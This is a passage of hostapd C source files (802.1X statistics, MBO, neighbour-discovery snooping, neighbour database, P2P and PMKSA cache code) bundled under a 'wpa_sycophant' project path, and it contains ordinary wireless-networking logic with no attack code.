"dot1xAuthAuthEapLogoffWhileAuthenticating=%u\n" "dot1xAuthAuthReauthsWhileAuthenticated=%u\n" "dot1xAuthAuthEapStartsWhileAuthenticated=%u\n" "dot1xAuthAuthEapLogoffWhileAuthenticated=%u\n" "dot1xAuthBackendResponses=%u\n" "dot1xAuthBackendAccessChallenges=%u\n" "dot1xAuthBackendOtherRequestsToSupplicant=%u\n" "dot1xAuthBackendAuthSuccesses=%u\n" "dot1xAuthBackendAuthFails=%u\n", sm->authEntersConnecting, sm->authEapLogoffsWhileConnecting, sm->authEntersAuthenticating, sm->authAuthSuccessesWhileAuthenticating, sm->authAuthTimeoutsWhileAuthenticating, sm->authAuthFailWhileAuthenticating, sm->authAuthEapStartsWhileAuthenticating, sm->authAuthEapLogoffWhileAuthenticating, sm->authAuthReauthsWhileAuthenticated, sm->authAuthEapStartsWhileAuthenticated, sm->authAuthEapLogoffWhileAuthenticated, sm->backendResponses, sm->backendAccessChallenges, sm->backendOtherRequestsToSupplicant, sm->backendAuthSuccesses, sm->backendAuthFails); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; /* dot1xAuthSessionStatsTable */ os_reltime_age(&sta->acct_session_start, &diff); ret = os_snprintf(buf + len, buflen - len, /* TODO: dot1xAuthSessionOctetsRx */ /* TODO: dot1xAuthSessionOctetsTx */ /* TODO: dot1xAuthSessionFramesRx */ /* TODO: dot1xAuthSessionFramesTx */ "dot1xAuthSessionId=%016llX\n" "dot1xAuthSessionAuthenticMethod=%d\n" "dot1xAuthSessionTime=%u\n" "dot1xAuthSessionTerminateCause=999\n" "dot1xAuthSessionUserName=%s\n", (unsigned long long) sta->acct_session_id, (wpa_key_mgmt_wpa_ieee8021x( wpa_auth_sta_key_mgmt(sta->wpa_sm))) ? 1 : 2, (unsigned int) diff.sec, sm->identity); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; if (sm->acct_multi_session_id) { ret = os_snprintf(buf + len, buflen - len, "authMultiSessionId=%016llX\n", (unsigned long long) sm->acct_multi_session_id); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; } name1 = eap_server_get_name(0, sm->eap_type_authsrv); name2 = eap_server_get_name(0, sm->eap_type_supp); ret = os_snprintf(buf + len, buflen - len, "last_eap_type_as=%d (%s)\n" "last_eap_type_sta=%d (%s)\n", sm->eap_type_authsrv, name1, sm->eap_type_supp, name2); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; return len; } #ifdef CONFIG_HS20 static void ieee802_1x_wnm_notif_send(void *eloop_ctx, void *timeout_ctx) { struct hostapd_data *hapd = eloop_ctx; struct sta_info *sta = timeout_ctx; if (sta->remediation) { wpa_printf(MSG_DEBUG, "HS 2.0: Send WNM-Notification to " MACSTR " to indicate Subscription Remediation", MAC2STR(sta->addr)); hs20_send_wnm_notification(hapd, sta->addr, sta->remediation_method, sta->remediation_url); os_free(sta->remediation_url); sta->remediation_url = NULL; } if (sta->hs20_deauth_req) { wpa_printf(MSG_DEBUG, "HS 2.0: Send WNM-Notification to " MACSTR " to indicate imminent deauthentication", MAC2STR(sta->addr)); hs20_send_wnm_notification_deauth_req(hapd, sta->addr, sta->hs20_deauth_req); } if (sta->hs20_t_c_filtering) { wpa_printf(MSG_DEBUG, "HS 2.0: Send WNM-Notification to " MACSTR " to indicate Terms and Conditions filtering", MAC2STR(sta->addr)); hs20_send_wnm_notification_t_c(hapd, sta->addr); } } #endif /* CONFIG_HS20 */ static void ieee802_1x_finished(struct hostapd_data *hapd, struct sta_info *sta, int success, int remediation) { const u8 *key; size_t len; /* TODO: get PMKLifetime from WPA parameters */ static const int dot11RSNAConfigPMKLifetime = 43200; unsigned int session_timeout; struct os_reltime now, remaining; #ifdef CONFIG_HS20 if (remediation && !sta->remediation) { sta->remediation = 1; os_free(sta->remediation_url); sta->remediation_url = os_strdup(hapd->conf->subscr_remediation_url); sta->remediation_method = 1; /* SOAP-XML SPP */ } if (success && (sta->remediation || sta->hs20_deauth_req || sta->hs20_t_c_filtering)) { wpa_printf(MSG_DEBUG, "HS 2.0: Schedule WNM-Notification to " MACSTR " in 100 ms", MAC2STR(sta->addr)); eloop_cancel_timeout(ieee802_1x_wnm_notif_send, hapd, sta); eloop_register_timeout(0, 100000, ieee802_1x_wnm_notif_send, hapd, sta); } #endif /* CONFIG_HS20 */ key = ieee802_1x_get_key(sta->eapol_sm, &len); if (sta->session_timeout_set) { os_get_reltime(&now); os_reltime_sub(&sta->session_timeout, &now, &remaining); session_timeout = (remaining.sec > 0) ? remaining.sec : 1; } else { session_timeout = dot11RSNAConfigPMKLifetime; } if (success && key && len >= PMK_LEN && !sta->remediation && !sta->hs20_deauth_requested && wpa_auth_pmksa_add(sta->wpa_sm, key, len, session_timeout, sta->eapol_sm) == 0) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_WPA, HOSTAPD_LEVEL_DEBUG, "Added PMKSA cache entry (IEEE 802.1X)"); } if (!success) { /* * Many devices require deauthentication after WPS provisioning * and some may not be be able to do that themselves, so * disconnect the client here. In addition, this may also * benefit IEEE 802.1X/EAPOL authentication cases, too since * the EAPOL PAE state machine would remain in HELD state for * considerable amount of time and some EAP methods, like * EAP-FAST with anonymous provisioning, may require another * EAPOL authentication to be started to complete connection. */ ap_sta_delayed_1x_auth_fail_disconnect(hapd, sta); } } wpa_sycophant-master/src/ap/ieee802_1x.h000066400000000000000000000052161377436615100203600ustar00rootroot00000000000000/* * hostapd / IEEE 802.1X-2004 Authenticator * Copyright (c) 2002-2012, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef IEEE802_1X_H #define IEEE802_1X_H struct hostapd_data; struct sta_info; struct eapol_state_machine; struct hostapd_config; struct hostapd_bss_config; struct hostapd_radius_attr; struct radius_msg; void ieee802_1x_receive(struct hostapd_data *hapd, const u8 *sa, const u8 *buf, size_t len); void ieee802_1x_new_station(struct hostapd_data *hapd, struct sta_info *sta); void ieee802_1x_free_station(struct hostapd_data *hapd, struct sta_info *sta); void ieee802_1x_abort_auth(struct hostapd_data *hapd, struct sta_info *sta); void ieee802_1x_set_sta_authorized(struct hostapd_data *hapd, struct sta_info *sta, int authorized); void ieee802_1x_dump_state(FILE *f, const char *prefix, struct sta_info *sta); int ieee802_1x_init(struct hostapd_data *hapd); void ieee802_1x_erp_flush(struct hostapd_data *hapd); void ieee802_1x_deinit(struct hostapd_data *hapd); int ieee802_1x_tx_status(struct hostapd_data *hapd, struct sta_info *sta, const u8 *buf, size_t len, int ack); int ieee802_1x_eapol_tx_status(struct hostapd_data *hapd, struct sta_info *sta, const u8 *data, int len, int ack); u8 * ieee802_1x_get_identity(struct eapol_state_machine *sm, size_t *len); u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len, int idx); struct wpabuf * ieee802_1x_get_radius_cui(struct eapol_state_machine *sm); const u8 * ieee802_1x_get_key(struct eapol_state_machine *sm, size_t *len); void ieee802_1x_notify_port_enabled(struct eapol_state_machine *sm, int enabled); void ieee802_1x_notify_port_valid(struct eapol_state_machine *sm, int valid); void ieee802_1x_notify_pre_auth(struct eapol_state_machine *sm, int pre_auth); int ieee802_1x_get_mib(struct hostapd_data *hapd, char *buf, size_t buflen); int ieee802_1x_get_mib_sta(struct hostapd_data *hapd, struct sta_info *sta, char *buf, size_t buflen); void hostapd_get_ntp_timestamp(u8 *buf); char *eap_type_text(u8 type); const char *radius_mode_txt(struct hostapd_data *hapd); int radius_sta_rate(struct hostapd_data *hapd, struct sta_info *sta); int add_common_radius_attr(struct hostapd_data *hapd, struct hostapd_radius_attr *req_attr, struct sta_info *sta, struct radius_msg *msg); void ieee802_1x_encapsulate_radius(struct hostapd_data *hapd, struct sta_info *sta, const u8 *eap, size_t len); struct eapol_state_machine * ieee802_1x_alloc_eapol_sm(struct hostapd_data *hapd, struct sta_info *sta); #endif /* IEEE802_1X_H */ wpa_sycophant-master/src/ap/mbo_ap.c000066400000000000000000000123451377436615100200400ustar00rootroot00000000000000/* * hostapd - MBO * Copyright (c) 2016, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "common/ieee802_11_defs.h" #include "common/ieee802_11_common.h" #include "hostapd.h" #include "sta_info.h" #include "mbo_ap.h" void mbo_ap_sta_free(struct sta_info *sta) { struct mbo_non_pref_chan_info *info, *prev; info = sta->non_pref_chan; sta->non_pref_chan = NULL; while (info) { prev = info; info = info->next; os_free(prev); } } static void mbo_ap_parse_non_pref_chan(struct sta_info *sta, const u8 *buf, size_t len) { struct mbo_non_pref_chan_info *info, *tmp; char channels[200], *pos, *end; size_t num_chan, i; int ret; if (len <= 3) return; /* Not enough room for any channels */ num_chan = len - 3; info = os_zalloc(sizeof(*info) + num_chan); if (!info) return; info->op_class = buf[0]; info->pref = buf[len - 2]; info->reason_code = buf[len - 1]; info->num_channels = num_chan; buf++; os_memcpy(info->channels, buf, num_chan); if (!sta->non_pref_chan) { sta->non_pref_chan = info; } else { tmp = sta->non_pref_chan; while (tmp->next) tmp = tmp->next; tmp->next = info; } pos = channels; end = pos + sizeof(channels); *pos = '\0'; for (i = 0; i < num_chan; i++) { ret = os_snprintf(pos, end - pos, "%s%u", i == 0 ? "" : " ", buf[i]); if (os_snprintf_error(end - pos, ret)) { *pos = '\0'; break; } pos += ret; } wpa_printf(MSG_DEBUG, "MBO: STA " MACSTR " non-preferred channel list (op class %u, pref %u, reason code %u, channels %s)", MAC2STR(sta->addr), info->op_class, info->pref, info->reason_code, channels); } void mbo_ap_check_sta_assoc(struct hostapd_data *hapd, struct sta_info *sta, struct ieee802_11_elems *elems) { const u8 *pos, *attr, *end; size_t len; if (!hapd->conf->mbo_enabled || !elems->mbo) return; pos = elems->mbo + 4; len = elems->mbo_len - 4; wpa_hexdump(MSG_DEBUG, "MBO: Association Request attributes", pos, len); attr = get_ie(pos, len, MBO_ATTR_ID_CELL_DATA_CAPA); if (attr && attr[1] >= 1) sta->cell_capa = attr[2]; mbo_ap_sta_free(sta); end = pos + len; while (end - pos > 1) { u8 ie_len = pos[1]; if (2 + ie_len > end - pos) break; if (pos[0] == MBO_ATTR_ID_NON_PREF_CHAN_REPORT) mbo_ap_parse_non_pref_chan(sta, pos + 2, ie_len); pos += 2 + pos[1]; } } int mbo_ap_get_info(struct sta_info *sta, char *buf, size_t buflen) { char *pos = buf, *end = buf + buflen; int ret; struct mbo_non_pref_chan_info *info; u8 i; unsigned int count = 0; if (!sta->cell_capa) return 0; ret = os_snprintf(pos, end - pos, "mbo_cell_capa=%u\n", sta->cell_capa); if (os_snprintf_error(end - pos, ret)) return pos - buf; pos += ret; for (info = sta->non_pref_chan; info; info = info->next) { char *pos2 = pos; ret = os_snprintf(pos2, end - pos2, "non_pref_chan[%u]=%u:%u:%u:", count, info->op_class, info->pref, info->reason_code); count++; if (os_snprintf_error(end - pos2, ret)) break; pos2 += ret; for (i = 0; i < info->num_channels; i++) { ret = os_snprintf(pos2, end - pos2, "%u%s", info->channels[i], i + 1 < info->num_channels ? "," : ""); if (os_snprintf_error(end - pos2, ret)) { pos2 = NULL; break; } pos2 += ret; } if (!pos2) break; ret = os_snprintf(pos2, end - pos2, "\n"); if (os_snprintf_error(end - pos2, ret)) break; pos2 += ret; pos = pos2; } return pos - buf; } static void mbo_ap_wnm_notif_req_cell_capa(struct sta_info *sta, const u8 *buf, size_t len) { if (len < 1) return; wpa_printf(MSG_DEBUG, "MBO: STA " MACSTR " updated cellular data capability: %u", MAC2STR(sta->addr), buf[0]); sta->cell_capa = buf[0]; } static void mbo_ap_wnm_notif_req_elem(struct sta_info *sta, u8 type, const u8 *buf, size_t len, int *first_non_pref_chan) { switch (type) { case WFA_WNM_NOTIF_SUBELEM_NON_PREF_CHAN_REPORT: if (*first_non_pref_chan) { /* * Need to free the previously stored entries now to * allow the update to replace all entries. */ *first_non_pref_chan = 0; mbo_ap_sta_free(sta); } mbo_ap_parse_non_pref_chan(sta, buf, len); break; case WFA_WNM_NOTIF_SUBELEM_CELL_DATA_CAPA: mbo_ap_wnm_notif_req_cell_capa(sta, buf, len); break; default: wpa_printf(MSG_DEBUG, "MBO: Ignore unknown WNM Notification WFA subelement %u", type); break; } } void mbo_ap_wnm_notification_req(struct hostapd_data *hapd, const u8 *addr, const u8 *buf, size_t len) { const u8 *pos, *end; u8 ie_len; struct sta_info *sta; int first_non_pref_chan = 1; if (!hapd->conf->mbo_enabled) return; sta = ap_get_sta(hapd, addr); if (!sta) return; pos = buf; end = buf + len; while (end - pos > 1) { ie_len = pos[1]; if (2 + ie_len > end - pos) break; if (pos[0] == WLAN_EID_VENDOR_SPECIFIC && ie_len >= 4 && WPA_GET_BE24(pos + 2) == OUI_WFA) mbo_ap_wnm_notif_req_elem(sta, pos[5], pos + 6, ie_len - 4, &first_non_pref_chan); else wpa_printf(MSG_DEBUG, "MBO: Ignore unknown WNM Notification element %u (len=%u)", pos[0], pos[1]); pos += 2 + pos[1]; } } wpa_sycophant-master/src/ap/mbo_ap.h000066400000000000000000000022401377436615100200360ustar00rootroot00000000000000/* * MBO related functions and structures * Copyright (c) 2016, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef MBO_AP_H #define MBO_AP_H struct hostapd_data; struct sta_info; struct ieee802_11_elems; #ifdef CONFIG_MBO void mbo_ap_check_sta_assoc(struct hostapd_data *hapd, struct sta_info *sta, struct ieee802_11_elems *elems); int mbo_ap_get_info(struct sta_info *sta, char *buf, size_t buflen); void mbo_ap_wnm_notification_req(struct hostapd_data *hapd, const u8 *addr, const u8 *buf, size_t len); void mbo_ap_sta_free(struct sta_info *sta); #else /* CONFIG_MBO */ static inline void mbo_ap_check_sta_assoc(struct hostapd_data *hapd, struct sta_info *sta, struct ieee802_11_elems *elems) { } static inline int mbo_ap_get_info(struct sta_info *sta, char *buf, size_t buflen) { return 0; } static inline void mbo_ap_wnm_notification_req(struct hostapd_data *hapd, const u8 *addr, const u8 *buf, size_t len) { } static inline void mbo_ap_sta_free(struct sta_info *sta) { } #endif /* CONFIG_MBO */ #endif /* MBO_AP_H */ wpa_sycophant-master/src/ap/ndisc_snoop.c000066400000000000000000000104641377436615100211210ustar00rootroot00000000000000/* * Neighbor Discovery snooping for Proxy ARP * Copyright (c) 2014, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include #include #include "utils/common.h" #include "l2_packet/l2_packet.h" #include "hostapd.h" #include "sta_info.h" #include "ap_drv_ops.h" #include "list.h" #include "x_snoop.h" #include "ndisc_snoop.h" struct ip6addr { struct in6_addr addr; struct dl_list list; }; struct icmpv6_ndmsg { struct ip6_hdr ipv6h; struct icmp6_hdr icmp6h; struct in6_addr target_addr; u8 opt_type; u8 len; u8 opt_lladdr[0]; } STRUCT_PACKED; #define ROUTER_ADVERTISEMENT 134 #define NEIGHBOR_SOLICITATION 135 #define NEIGHBOR_ADVERTISEMENT 136 #define SOURCE_LL_ADDR 1 static int sta_ip6addr_add(struct sta_info *sta, struct in6_addr *addr) { struct ip6addr *ip6addr; ip6addr = os_zalloc(sizeof(*ip6addr)); if (!ip6addr) return -1; os_memcpy(&ip6addr->addr, addr, sizeof(*addr)); dl_list_add_tail(&sta->ip6addr, &ip6addr->list); return 0; } void sta_ip6addr_del(struct hostapd_data *hapd, struct sta_info *sta) { struct ip6addr *ip6addr, *prev; dl_list_for_each_safe(ip6addr, prev, &sta->ip6addr, struct ip6addr, list) { hostapd_drv_br_delete_ip_neigh(hapd, 6, (u8 *) &ip6addr->addr); os_free(ip6addr); } } static int sta_has_ip6addr(struct sta_info *sta, struct in6_addr *addr) { struct ip6addr *ip6addr; dl_list_for_each(ip6addr, &sta->ip6addr, struct ip6addr, list) { if (ip6addr->addr.s6_addr32[0] == addr->s6_addr32[0] && ip6addr->addr.s6_addr32[1] == addr->s6_addr32[1] && ip6addr->addr.s6_addr32[2] == addr->s6_addr32[2] && ip6addr->addr.s6_addr32[3] == addr->s6_addr32[3]) return 1; } return 0; } static void ucast_to_stas(struct hostapd_data *hapd, const u8 *buf, size_t len) { struct sta_info *sta; for (sta = hapd->sta_list; sta; sta = sta->next) { if (!(sta->flags & WLAN_STA_AUTHORIZED)) continue; x_snoop_mcast_to_ucast_convert_send(hapd, sta, (u8 *) buf, len); } } static void handle_ndisc(void *ctx, const u8 *src_addr, const u8 *buf, size_t len) { struct hostapd_data *hapd = ctx; struct icmpv6_ndmsg *msg; struct in6_addr saddr; struct sta_info *sta; int res; char addrtxt[INET6_ADDRSTRLEN + 1]; if (len < ETH_HLEN + sizeof(struct ip6_hdr) + sizeof(struct icmp6_hdr)) return; msg = (struct icmpv6_ndmsg *) &buf[ETH_HLEN]; switch (msg->icmp6h.icmp6_type) { case NEIGHBOR_SOLICITATION: if (len < ETH_HLEN + sizeof(*msg)) return; if (msg->opt_type != SOURCE_LL_ADDR) return; /* * IPv6 header may not be 32-bit aligned in the buffer, so use * a local copy to avoid unaligned reads. */ os_memcpy(&saddr, &msg->ipv6h.ip6_src, sizeof(saddr)); if (!(saddr.s6_addr32[0] == 0 && saddr.s6_addr32[1] == 0 && saddr.s6_addr32[2] == 0 && saddr.s6_addr32[3] == 0)) { if (len < ETH_HLEN + sizeof(*msg) + ETH_ALEN) return; sta = ap_get_sta(hapd, msg->opt_lladdr); if (!sta) return; if (sta_has_ip6addr(sta, &saddr)) return; if (inet_ntop(AF_INET6, &saddr, addrtxt, sizeof(addrtxt)) == NULL) addrtxt[0] = '\0'; wpa_printf(MSG_DEBUG, "ndisc_snoop: Learned new IPv6 address %s for " MACSTR, addrtxt, MAC2STR(sta->addr)); hostapd_drv_br_delete_ip_neigh(hapd, 6, (u8 *) &saddr); res = hostapd_drv_br_add_ip_neigh(hapd, 6, (u8 *) &saddr, 128, sta->addr); if (res) { wpa_printf(MSG_ERROR, "ndisc_snoop: Adding ip neigh failed: %d", res); return; } if (sta_ip6addr_add(sta, &saddr)) return; } break; case ROUTER_ADVERTISEMENT: if (hapd->conf->disable_dgaf) ucast_to_stas(hapd, buf, len); break; case NEIGHBOR_ADVERTISEMENT: if (hapd->conf->na_mcast_to_ucast) ucast_to_stas(hapd, buf, len); break; default: break; } } int ndisc_snoop_init(struct hostapd_data *hapd) { hapd->sock_ndisc = x_snoop_get_l2_packet(hapd, handle_ndisc, L2_PACKET_FILTER_NDISC); if (hapd->sock_ndisc == NULL) { wpa_printf(MSG_DEBUG, "ndisc_snoop: Failed to initialize L2 packet processing for NDISC packets: %s", strerror(errno)); return -1; } return 0; } void ndisc_snoop_deinit(struct hostapd_data *hapd) { l2_packet_deinit(hapd->sock_ndisc); hapd->sock_ndisc = NULL; } wpa_sycophant-master/src/ap/ndisc_snoop.h000066400000000000000000000015061377436615100211230ustar00rootroot00000000000000/* * Neighbor Discovery snooping for Proxy ARP * Copyright (c) 2014, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef NDISC_SNOOP_H #define NDISC_SNOOP_H #if defined(CONFIG_PROXYARP) && defined(CONFIG_IPV6) int ndisc_snoop_init(struct hostapd_data *hapd); void ndisc_snoop_deinit(struct hostapd_data *hapd); void sta_ip6addr_del(struct hostapd_data *hapd, struct sta_info *sta); #else /* CONFIG_PROXYARP && CONFIG_IPV6 */ static inline int ndisc_snoop_init(struct hostapd_data *hapd) { return 0; } static inline void ndisc_snoop_deinit(struct hostapd_data *hapd) { } static inline void sta_ip6addr_del(struct hostapd_data *hapd, struct sta_info *sta) { } #endif /* CONFIG_PROXYARP && CONFIG_IPV6 */ #endif /* NDISC_SNOOP_H */ wpa_sycophant-master/src/ap/neighbor_db.c000066400000000000000000000056251377436615100210500ustar00rootroot00000000000000/* * hostapd / Neighboring APs DB * Copyright(c) 2013 - 2016 Intel Mobile Communications GmbH. * Copyright(c) 2011 - 2016 Intel Corporation. All rights reserved. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "hostapd.h" #include "neighbor_db.h" struct hostapd_neighbor_entry * hostapd_neighbor_get(struct hostapd_data *hapd, const u8 *bssid, const struct wpa_ssid_value *ssid) { struct hostapd_neighbor_entry *nr; dl_list_for_each(nr, &hapd->nr_db, struct hostapd_neighbor_entry, list) { if (os_memcmp(bssid, nr->bssid, ETH_ALEN) == 0 && (!ssid || (ssid->ssid_len == nr->ssid.ssid_len && os_memcmp(ssid->ssid, nr->ssid.ssid, ssid->ssid_len) == 0))) return nr; } return NULL; } static void hostapd_neighbor_clear_entry(struct hostapd_neighbor_entry *nr) { wpabuf_free(nr->nr); nr->nr = NULL; wpabuf_free(nr->lci); nr->lci = NULL; wpabuf_free(nr->civic); nr->civic = NULL; os_memset(nr->bssid, 0, sizeof(nr->bssid)); os_memset(&nr->ssid, 0, sizeof(nr->ssid)); nr->stationary = 0; } static struct hostapd_neighbor_entry * hostapd_neighbor_add(struct hostapd_data *hapd) { struct hostapd_neighbor_entry *nr; nr = os_zalloc(sizeof(struct hostapd_neighbor_entry)); if (!nr) return NULL; dl_list_add(&hapd->nr_db, &nr->list); return nr; } int hostapd_neighbor_set(struct hostapd_data *hapd, const u8 *bssid, const struct wpa_ssid_value *ssid, const struct wpabuf *nr, const struct wpabuf *lci, const struct wpabuf *civic, int stationary) { struct hostapd_neighbor_entry *entry; entry = hostapd_neighbor_get(hapd, bssid, ssid); if (!entry) entry = hostapd_neighbor_add(hapd); if (!entry) return -1; hostapd_neighbor_clear_entry(entry); os_memcpy(entry->bssid, bssid, ETH_ALEN); os_memcpy(&entry->ssid, ssid, sizeof(entry->ssid)); entry->nr = wpabuf_dup(nr); if (!entry->nr) goto fail; if (lci && wpabuf_len(lci)) { entry->lci = wpabuf_dup(lci); if (!entry->lci || os_get_time(&entry->lci_date)) goto fail; } if (civic && wpabuf_len(civic)) { entry->civic = wpabuf_dup(civic); if (!entry->civic) goto fail; } entry->stationary = stationary; return 0; fail: hostapd_neighbor_remove(hapd, bssid, ssid); return -1; } int hostapd_neighbor_remove(struct hostapd_data *hapd, const u8 *bssid, const struct wpa_ssid_value *ssid) { struct hostapd_neighbor_entry *nr; nr = hostapd_neighbor_get(hapd, bssid, ssid); if (!nr) return -1; hostapd_neighbor_clear_entry(nr); dl_list_del(&nr->list); os_free(nr); return 0; } void hostpad_free_neighbor_db(struct hostapd_data *hapd) { struct hostapd_neighbor_entry *nr, *prev; dl_list_for_each_safe(nr, prev, &hapd->nr_db, struct hostapd_neighbor_entry, list) { hostapd_neighbor_clear_entry(nr); dl_list_del(&nr->list); os_free(nr); } } wpa_sycophant-master/src/ap/neighbor_db.h000066400000000000000000000015531377436615100210510ustar00rootroot00000000000000/* * hostapd / Neighboring APs DB * Copyright(c) 2013 - 2016 Intel Mobile Communications GmbH. * Copyright(c) 2011 - 2016 Intel Corporation. All rights reserved. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef NEIGHBOR_DB_H #define NEIGHBOR_DB_H struct hostapd_neighbor_entry * hostapd_neighbor_get(struct hostapd_data *hapd, const u8 *bssid, const struct wpa_ssid_value *ssid); int hostapd_neighbor_set(struct hostapd_data *hapd, const u8 *bssid, const struct wpa_ssid_value *ssid, const struct wpabuf *nr, const struct wpabuf *lci, const struct wpabuf *civic, int stationary); int hostapd_neighbor_remove(struct hostapd_data *hapd, const u8 *bssid, const struct wpa_ssid_value *ssid); void hostpad_free_neighbor_db(struct hostapd_data *hapd); #endif /* NEIGHBOR_DB_H */ wpa_sycophant-master/src/ap/p2p_hostapd.c000066400000000000000000000051101377436615100210160ustar00rootroot00000000000000/* * hostapd / P2P integration * Copyright (c) 2009-2010, Atheros Communications * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "common/ieee802_11_defs.h" #include "p2p/p2p.h" #include "hostapd.h" #include "ap_config.h" #include "ap_drv_ops.h" #include "sta_info.h" #include "p2p_hostapd.h" #ifdef CONFIG_P2P int hostapd_p2p_get_mib_sta(struct hostapd_data *hapd, struct sta_info *sta, char *buf, size_t buflen) { if (sta->p2p_ie == NULL) return 0; return p2p_ie_text(sta->p2p_ie, buf, buf + buflen); } int hostapd_p2p_set_noa(struct hostapd_data *hapd, u8 count, int start, int duration) { wpa_printf(MSG_DEBUG, "P2P: Set NoA parameters: count=%u start=%d " "duration=%d", count, start, duration); if (count == 0) { hapd->noa_enabled = 0; hapd->noa_start = 0; hapd->noa_duration = 0; } if (count != 255) { wpa_printf(MSG_DEBUG, "P2P: Non-periodic NoA - set " "NoA parameters"); return hostapd_driver_set_noa(hapd, count, start, duration); } hapd->noa_enabled = 1; hapd->noa_start = start; hapd->noa_duration = duration; if (hapd->num_sta_no_p2p == 0) { wpa_printf(MSG_DEBUG, "P2P: No legacy STAs connected - update " "periodic NoA parameters"); return hostapd_driver_set_noa(hapd, count, start, duration); } wpa_printf(MSG_DEBUG, "P2P: Legacy STA(s) connected - do not enable " "periodic NoA"); return 0; } void hostapd_p2p_non_p2p_sta_connected(struct hostapd_data *hapd) { wpa_printf(MSG_DEBUG, "P2P: First non-P2P device connected"); if (hapd->noa_enabled) { wpa_printf(MSG_DEBUG, "P2P: Disable periodic NoA"); hostapd_driver_set_noa(hapd, 0, 0, 0); } } void hostapd_p2p_non_p2p_sta_disconnected(struct hostapd_data *hapd) { wpa_printf(MSG_DEBUG, "P2P: Last non-P2P device disconnected"); if (hapd->noa_enabled) { wpa_printf(MSG_DEBUG, "P2P: Enable periodic NoA"); hostapd_driver_set_noa(hapd, 255, hapd->noa_start, hapd->noa_duration); } } #endif /* CONFIG_P2P */ #ifdef CONFIG_P2P_MANAGER u8 * hostapd_eid_p2p_manage(struct hostapd_data *hapd, u8 *eid) { u8 bitmap; *eid++ = WLAN_EID_VENDOR_SPECIFIC; *eid++ = 4 + 3 + 1; WPA_PUT_BE32(eid, P2P_IE_VENDOR_TYPE); eid += 4; *eid++ = P2P_ATTR_MANAGEABILITY; WPA_PUT_LE16(eid, 1); eid += 2; bitmap = P2P_MAN_DEVICE_MANAGEMENT; if (hapd->conf->p2p & P2P_ALLOW_CROSS_CONNECTION) bitmap |= P2P_MAN_CROSS_CONNECTION_PERMITTED; bitmap |= P2P_MAN_COEXISTENCE_OPTIONAL; *eid++ = bitmap; return eid; } #endif /* CONFIG_P2P_MANAGER */ wpa_sycophant-master/src/ap/p2p_hostapd.h000066400000000000000000000015701377436615100210310ustar00rootroot00000000000000/* * hostapd / P2P integration * Copyright (c) 2009-2010, Atheros Communications * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef P2P_HOSTAPD_H #define P2P_HOSTAPD_H #ifdef CONFIG_P2P int hostapd_p2p_get_mib_sta(struct hostapd_data *hapd, struct sta_info *sta, char *buf, size_t buflen); int hostapd_p2p_set_noa(struct hostapd_data *hapd, u8 count, int start, int duration); void hostapd_p2p_non_p2p_sta_connected(struct hostapd_data *hapd); void hostapd_p2p_non_p2p_sta_disconnected(struct hostapd_data *hapd); #else /* CONFIG_P2P */ static inline int hostapd_p2p_get_mib_sta(struct hostapd_data *hapd, struct sta_info *sta, char *buf, size_t buflen) { return 0; } #endif /* CONFIG_P2P */ u8 * hostapd_eid_p2p_manage(struct hostapd_data *hapd, u8 *eid); #endif /* P2P_HOSTAPD_H */ wpa_sycophant-master/src/ap/pmksa_cache_auth.c000066400000000000000000000454561377436615100220730ustar00rootroot00000000000000/* * hostapd - PMKSA cache for IEEE 802.11i RSN * Copyright (c) 2004-2008, 2012-2015, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "eapol_auth/eapol_auth_sm.h" #include "eapol_auth/eapol_auth_sm_i.h" #include "radius/radius_das.h" #include "sta_info.h" #include "ap_config.h" #include "pmksa_cache_auth.h" static const int pmksa_cache_max_entries = 1024; static const int dot11RSNAConfigPMKLifetime = 43200; struct rsn_pmksa_cache { #define PMKID_HASH_SIZE 128 #define PMKID_HASH(pmkid) (unsigned int) ((pmkid)[0] & 0x7f) struct rsn_pmksa_cache_entry *pmkid[PMKID_HASH_SIZE]; struct rsn_pmksa_cache_entry *pmksa; int pmksa_count; void (*free_cb)(struct rsn_pmksa_cache_entry *entry, void *ctx); void *ctx; }; static void pmksa_cache_set_expiration(struct rsn_pmksa_cache *pmksa); static void _pmksa_cache_free_entry(struct rsn_pmksa_cache_entry *entry) { os_free(entry->vlan_desc); os_free(entry->identity); wpabuf_free(entry->cui); #ifndef CONFIG_NO_RADIUS radius_free_class(&entry->radius_class); #endif /* CONFIG_NO_RADIUS */ bin_clear_free(entry, sizeof(*entry)); } void pmksa_cache_free_entry(struct rsn_pmksa_cache *pmksa, struct rsn_pmksa_cache_entry *entry) { struct rsn_pmksa_cache_entry *pos, *prev; unsigned int hash; pmksa->pmksa_count--; pmksa->free_cb(entry, pmksa->ctx); /* unlink from hash list */ hash = PMKID_HASH(entry->pmkid); pos = pmksa->pmkid[hash]; prev = NULL; while (pos) { if (pos == entry) { if (prev != NULL) prev->hnext = entry->hnext; else pmksa->pmkid[hash] = entry->hnext; break; } prev = pos; pos = pos->hnext; } /* unlink from entry list */ pos = pmksa->pmksa; prev = NULL; while (pos) { if (pos == entry) { if (prev != NULL) prev->next = entry->next; else pmksa->pmksa = entry->next; break; } prev = pos; pos = pos->next; } _pmksa_cache_free_entry(entry); } /** * pmksa_cache_auth_flush - Flush all PMKSA cache entries * @pmksa: Pointer to PMKSA cache data from pmksa_cache_auth_init() */ void pmksa_cache_auth_flush(struct rsn_pmksa_cache *pmksa) { while (pmksa->pmksa) { 